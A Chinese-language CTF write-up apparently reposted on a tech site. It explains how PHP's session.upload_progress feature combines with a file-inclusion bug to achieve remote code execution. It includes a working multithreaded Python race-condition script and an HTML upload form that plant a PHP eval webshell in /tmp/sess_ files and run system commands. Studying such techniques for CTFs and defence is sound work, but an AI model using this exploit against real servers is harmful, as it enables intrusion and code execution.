session.upload_progress文件包含漏洞

news2025/3/2 2:10:06

session.upload_progress文件包含漏洞

前言

之前学习了该漏洞,但是没有做笔记,导致容易遗忘。在此用一个题目来理解session.upload_progress漏洞

基础知识

session存储

我们在phpinfo可以看到session的存储路径:

image-20230601203121482

以下是一些session在linux的默认存储路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

session文件的文件名一般是通过:sess_ 加上PHPSESSID字段

什么是session.upload_progress

以下是session.upload_progress比较重要的几个选项:

session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
  • session.upload_progress.enabled可以控制是否开启session.upload_progress功能
  • session.upload_progress.cleanup可以控制是否在上传之后删除文件内容
  • session.upload_progress.prefix可以设置上传文件内容中的前缀
  • session.upload_progress.name的值即为session中的键值

session.auto_start:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的。

session.upload_progress.cleanup = on:表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启

session.use_strict_mode:默认情况下,该选项的值是0,此时用户可以自己定义Session ID

session.upload_progress开启后有什么效果

当我们将session.upload_progress.enabled的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。

问题1:

那么这个时候就会有一个前提条件,就是如何初始化session并且把session中的内容写到文件中去呢?

分析1:

我们可以注意到,php.ini中session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置PHPSESSID=leekos时,PHP就会生成一个文件/tmp/sess_leekos,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_leekos中去,具体文件的内容是什么,后面会写到。

问题2:

当session.upload_progress.cleanup的值为on时,即使上传文件,但是上传完成之后文件内容会被清空,这怎么办?

分析2:

利用Python的多线程,进行条件竞争

当一个网站存在文件包含漏洞,但是并没有用户会话。即代码层未输入session_start()
可借助Session Upload Progress,因为session.upload_progress.name 是用户自定义的,POST提交PHP_SESSION_UPLOAD_PROGRESS字段,只要上传包里带上这个键,PHP就会自动启用Session。同时在Cookie中设置PHPSESSID的值。这样,请求的文件内容和命名都可控。

当文件上传结束后,php会立即清空对应session文件中的内容,这会导致我们包含的很可能只是一个空文件,所以我们要利用条件竞争,在session文件被清除之前利用。

如何使用session.upload_progress进行RCE?

当一个网站存在文件包含漏洞时,我们可以尝试通过session.upload_progress 向服务器写入session文件,文件内容为一句话木马,然后配合文件包含漏洞包含进来,然后getshell

但是如果选项:session.upload_progress.cleanup=on那么文件一上传上去就会被删除,所以我们需要利用条件竞争

有两种方式:

  • 1、使用python脚本
  • 2、使用burpsuite

首先我们结合一道例题来讲解:

[WMCTF2020]Make PHP Great Again

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

此处存在文件包含漏洞,由于使用了 require_once()所以我们不能再次包含flag.php

这里可以使用 session.upload_progress 进行rce

使用python脚本:
import io
import threading
import requests

url = "http://40c7dd6c-b2cb-4356-820b-cd6ba4f81596.node4.buuoj.cn:81/"
sessid = 'leekos'

def write(session):

    filebytes = io.BytesIO(b'a'*1024*50)
    while True:
        session.post(url=url,data = {
            'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
        },cookies={
            'PHPSESSID':sessid
        },files={
            'file': ('leekos.jpg',filebytes)
        })


def read(session):

    while True:
        res1 = session.post(url=url + r'?file=/tmp/sess_' + sessid, data={
            '1': r"system('tac flag.php');"
        })
        if 'leekos' in res1.text:
            print(res1.text)
        else:
            print("retry~~~~")


if __name__ == '__main__':
    with requests.session() as session:
        for i in range(20):
            threading.Thread(target=write,args=(session,)).start()
        for i in range(20):
            threading.Thread(target=read,args=(session,)).start()

这段代码的逻辑其实不难,得好好补一补python

首先我们创建一个 session对象,用来发送http请求

然后使用python中多线程 threading.Thread() 创建多线程并启动然后调用 write、read

  • write()函数逻辑:首先使用io.BytesIO(b'a'*1024*50)创建一段50kB大小的文件,然后发送post包,url为域名,data的键名传入:PHP_SESSION_UPLOAD_PROGRESS 值传入一句话木马,然后cookie控制PHSESSID的值为leekos,files传入刚创建的文件。这样就会在服务器 /tmp目录创建一个文件名为:sess_leekos的文件,并且内容包含一句话木马
  • read()函数逻辑,去读 /tmp/sess_leekos文件的值,并且data中传入代码获取flag。由于session文件的内容中包含我们上传的文件的名称(此时为:leekos.jpg)如果读取出来的结果包含leekos,说明之前的session上传成功了,于是我们打印出页面的值,其中一定包含flag

使用多线程不断的竞争,一段时间后就会得到flag

image-20230601210701486

使用html+bp

写一个html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form action="http://40c7dd6c-b2cb-4356-820b-cd6ba4f81596.node4.buuoj.cn:81/" method="post" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php eval($_POST[1]);?>">
        <input type="file" name="file">
        <input type="submit" name="submit">
    </form>
</body>
</html>

上传文件,抓包,修改cookie:PHPSESSID=leekos

image-20230601212928962

然后使用另一个请求包含:

image-20230601212949130

两个请求使用 Intruder模块竞争:

image-20230601213038646

这样就成功了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/601626.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Python文本处理】基于运动路线记录GPX的文件解析,GPX转SRT字幕文件(不需要安装三方库)

【Python文本处理】基于运动路线记录GPX的文件解析&#xff0c;GPX转SRT字幕文件&#xff08;不需要安装三方库&#xff09; 解析和转换 GPX文件格式 GPX文件本身其实就是坐标、海拔、时间、心率等综合性的xml文件 如图&#xff1a; 海拔&#xff1a;ele 时间&#xff1a;t…

【GTest】使用CMakeLitsts.txt构建Windows和Linux的跨平台GoogleTest项目(非常详细+亲测有效)

&#x1f449;博__主&#x1f448;&#xff1a;米码收割机 &#x1f449;技__能&#x1f448;&#xff1a;C/Python语言 &#x1f449;公众号&#x1f448;&#xff1a;测试开发自动化 &#x1f449;专__注&#x1f448;&#xff1a;专注主流机器人、人工智能等相关领域的开发、…

00): Can‘t connect to MySQL server on ‘localhost:3306‘ (10061)

好久没有使用数据库&#xff0c; 连接数据库报上面的错误&#xff0c;尝试了网上的方法还是没有成功&#xff0c;思索之后想起之前手动关闭了mysql的服务&#xff0c;Windows启动时mysql服务不会自动启动&#xff0c;成功启动mysql服务后再次连接数据库&#xff0c;正常连接。 …

keil 使用问题总结

1. 编译报错 1.1 …\USER\stm32f10x.h(428): error: #67: expected a “}” ADC1_2_IRQn 18, /*!< ADC1 and ADC2 global Interrupt */*** Using Compiler V5.06 update 4 (build 422), folder: D:\keil_v537\install\ARM\ARM…

滴滴和华为5年,分享一下真实的划水经验....

先简单交代一下背景吧&#xff0c;某不知名 985 的本硕&#xff0c;17 年毕业加入华为&#xff0c;之后跳槽到了滴滴&#xff0c;一直从事软件测试的工作。之前没有实习经历&#xff0c;算是5年的工作经验吧。 这5年之间完成了一次晋升&#xff0c;换了一家公司&#xff0c;有…

朋友圈九宫格照片怎么做?一键图片分割

相信朋友们都看过这样发朋友圈的方式&#xff0c;一张图片发出九宫格的效果&#xff1a; 或者是在各大社交平台、引流平台&#xff0c;这种发图的方法已经屡见不鲜了&#xff0c;可当自己上网搜【图片分割】、【宫格切图】等等&#xff0c;要么就是要注册账号登录才能操作&…

大数据---聚类分析概述及聚类评估

聚类概述: 什么是聚类&#xff1f; 是把数据对象集合按照相似性划分成多个子集的过程。每个子集是一个簇&#xff08;cluster&#xff09;&#xff0c;分类的最终效果&#xff1a;使得簇中的对象彼此相似&#xff0c;但与其他簇中的对象相异。聚类是无监督学习&#xff0c;因…

ses价签墨水屏折腾-01

前言 一直想玩玩墨水屏&#xff0c;这次咸鱼找了全新的ses价签&#xff0c;而且价格还很便宜&#xff0c;于是买了一个2.66寸三色&#xff0c;和一个4.2寸三色的墨水屏幕&#xff0c;经过几天的折腾终于能正常显示了。 显示效果如下&#xff1a; 折腾来折腾去&#xff0c;发…

DMES-2023第十三届数字营销与电商峰会大会 火热报名中

2023第十三届数字营销与电商峰会将于7月6-7日在上海召开&#xff01; 本次峰会线上线下同步举行&#xff0c;将通过七大热点主题帮助品牌主突破模式能力&#xff0c;回归初心、精耕细作&#xff0c;实现可持续增长&#xff1b;提升产品能力&#xff0c;实现可持续长期增长&…

智能名片如何缓解社交商务时的尴尬场景?

2023年微信月活用户已超过13.1亿&#xff0c;而小程序也成为了一个神奇的窗口。透过这个窗口&#xff0c;越来越多的人发现了微信生态内的巨大商机&#xff0c;通过小程序也涌现出许多新颖的玩法。 智能名片小程序&#xff0c;基于微信与 AI 技术开发&#xff0c;将企业名片系…

强化学习基础篇【1】:基础知识点、马尔科夫决策过程、蒙特卡洛策略梯度定理、REINFORCE 算法

【强化学习原理+项目专栏】必看系列:单智能体、多智能体算法原理+项目实战、相关技巧(调参、画图等、趣味项目实现、学术应用项目实现 专栏详细介绍:【强化学习原理+项目专栏】必看系列:单智能体、多智能体算法原理+项目实战、相关技巧(调参、画图等、趣味项目实现、学术应…

MKS SERVO4257D 闭环步进电机_系列6 串口(RS485)通讯示例

第1部分 产品介绍 MKS SERVO 28D/35D/42D/57D 系列闭环步进电机是创客基地为满足市场需求而自主研发的一款产品。具备脉冲接口和RS485/CAN串行接口&#xff0c;支持MODBUS-RTU通讯协议&#xff0c;内置高效FOC矢量算法&#xff0c;采用高精度编码器&#xff0c;通过位置反馈&a…

CAR-T药物|疗法适应症|市场销售-上市药品前景分析

对患有癌症的人来说&#xff0c;能够幸运地度过5年大关是一种成功&#xff0c;而能够成功地度过10年大关则是一种奇迹。Emily作为全球第一个接受CAR-T治疗成功的白血病儿童患者&#xff0c;至今已成功摆脱癌症11年之久。 ①CAR-T细胞治疗&#xff08;Emily Whitehead治疗案例时…

Benewake(北醒) 中距 TF40 40m介绍以及资料整理

目录 1 前言2 产品介绍3 产品快速测试3.1 产品规格书及使用说明书3.2 通用上位机测试说明3.3 通用指令串口助手使用说明3.4 产品快速测试说明 4 基于开源硬件的运用整理4.1 在开源Arduino上的运用 1 前言 本文包含【Benewake(北醒) 】中距 TF40 40m介绍以及资料整理 详细请参考…

Arduino软件+ ESP8266 MCU开发项目之一键式配网操作(有掉电保护),可继续开发成为--WIFI放大器项目。

下载本次ESP8266 MCU开发项目之一键式配网 代码文件 (11条消息) 配网ESP8266MUC.rar资源-CSDN文库 流程图讲解 视频展示效果 配网ESP8266 项目可待 改进/升级 的地方 1&#xff1a;配网流程UI界面单调&#xff0c;可搭配复杂UI配网界面 2&#xff1a;配网流程可看作是WIFI放…

NSS周常刷密码(2)

[GWCTF 2019]babyRSA 解答过程在脚本内 from Crypto.Util.number import * import gmpy2 import sympy import z3e 0x10001 N63658514959457474690903016018269086622290925646484729178300065183722792133723789965128794359777327094438403485892529574488072710160684141…

移动云镜像配置BC-Linux --配置centos 6-7-8版本参考

移动云BC linux 也是一个非常不错的镜像站. 可以加速国内下载. 非常好用, 速度比阿里 等那些流行的镜像站快一些. 下面介绍详解操作配置, 供参考 移动云开源镜像站-Linux系统订阅服务 移动云开源镜像站&#xff0c;包含BC-Linux各版本的软件仓库&#xff0c;对外提供软件升级…

Apache Kudu入门学习

目录 一、概念 二、背景 三、特点 四、架构 五、应用场景 六、kudu的模式设计 1、列设计 2、主键设计 3、分区设计 1.范围分区Range Partitioning 2.哈希分区Hash Partitioning 3.多级分区Multilevel Partitioning 一、概念 官方概念&#xff1a; Apache Kudu i…

​细说websocket - php篇 ​

下面我画了一个图演示 client 和 server 之间建立 websocket 连接时握手部分&#xff0c;这个部分在 node 中可以十分轻松的完成&#xff0c;因为 node 提供的 net 模块已经对 socket 套接字做了封装处理&#xff0c;开发者使用的时候只需要考虑数据的交互而不用处理连接的建立…

代码随想录算法训练营day59 | 503.下一个更大元素II,42. 接雨水

代码随想录算法训练营day59 | 503.下一个更大元素II&#xff0c;42. 接雨水 503.下一个更大元素II解法一&#xff1a;单调栈&#xff08;两次遍历解决环状问题&#xff09; 42. 接雨水解法一&#xff1a;单调栈&#xff08;横向累计&#xff09;解法二&#xff1a;暴力解法解法…